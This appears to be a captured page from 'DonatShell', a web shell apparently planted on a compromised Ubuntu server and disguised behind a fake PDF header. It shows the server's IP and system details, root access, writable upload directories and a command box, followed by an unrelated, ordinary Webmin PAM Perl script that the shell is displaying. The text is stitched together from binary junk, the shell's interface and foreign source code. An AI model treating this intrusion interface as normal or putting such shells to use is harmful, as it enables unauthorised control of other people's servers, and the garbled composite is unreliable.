%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/pam/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/pam/edit_mod.cgi
#!/usr/bin/perl
# edit_mod.cgi
# Edit one PAM authentication module for some service

require './pam-lib.pl';
&ReadParse();
if ($in{'inc'}) {
	# Redirect to include form
	&redirect("edit_inc.cgi?idx=$in{'idx'}&type=$in{'type'}");
	return;
	}

@pam = &get_pam_config();
$pam = $pam[$in{'idx'}];
if ($in{'midx'} ne '') {
	$mod = $pam->{'mods'}->[$in{'midx'}];
	$module = $mod->{'module'};
	$module =~ s/^.*\///;
	$type = $mod->{'type'};
	&ui_print_header(undef, $text{'mod_edit'}, "");
	}
else {
	$module = $in{'module'};
	$type = $in{'type'};
	$mod = { 'type' => $type };
	&ui_print_header(undef, $text{'mod_create'}, "");
	}


print &ui_form_start("save_mod.cgi");
print &ui_hidden("idx", $in{'idx'});
print &ui_hidden("midx", $in{'midx'});
print &ui_hidden("_module", $in{'module'});
print &ui_hidden("_type", $in{'type'});
print &ui_table_start($text{'mod_header'}, "width=100%", 2);

# PAM service name
$t = $text{'desc_'.$pam->{'name'}};
print &ui_table_row($text{'mod_name'},
		    "<tt>".&html_escape($pam->{'name'})."</tt> ".
		    ($pam->{'desc'} ? "($pam->{'desc'})" : $t ? "($t)" : ""));

# PAM module name
$t = $text{$module};
print &ui_table_row($text{'mod_mod'},
		    "<tt>$module</tt> ".($t ? "($t)" : ""));

print &ui_table_row($text{'mod_type'},
		    $text{'mod_type_'.$type});

# Control mode
print &ui_table_row($text{'mod_control'},
	    &ui_select("control", $mod->{'control'},
		[ map { [ $_, $text{'control_'.$_}." (".
			      $text{'control_desc_'.$_}.")" ] }
		      ('required', 'requisite', 'sufficient', 'optional') ],
		1, 0, $in{'midx'} eq '' ? 0 : 1));

if (-r "./$module.pl") {
	do "./$module.pl";
	if (!$module_has_no_args) {
		print &ui_table_hr();
		foreach $a (split(/\s+/, $mod->{'args'})) {
			if ($a =~ /^([^\s=]+)=(\S*)$/) {
				$args{$1} = $2;
				}
			else {
				$args{$a} = "";
				}
			}
		&display_module_args($pam, $mod, \%args);
		}
	}
else {
	# Text-only args
	print &ui_table_hr();
	print &ui_table_row($text{'mod_args'},
			    &ui_textbox("args", $mod->{'args'}, 60), 3);
	}

print &ui_table_end();

if ($in{'midx'} ne '') {
	print &ui_form_end([ [ undef, $text{'save'} ],
			     [ 'delete', $text{'delete'} ] ]);
	}
else {
	print &ui_form_end([ [ undef, $text{'create'} ] ]);
	}

&ui_print_footer("edit_pam.cgi?idx=$in{'idx'}", $text{'edit_return'},
		 "", $text{'index_return'});


Anon7 - 2022
AnonSec Team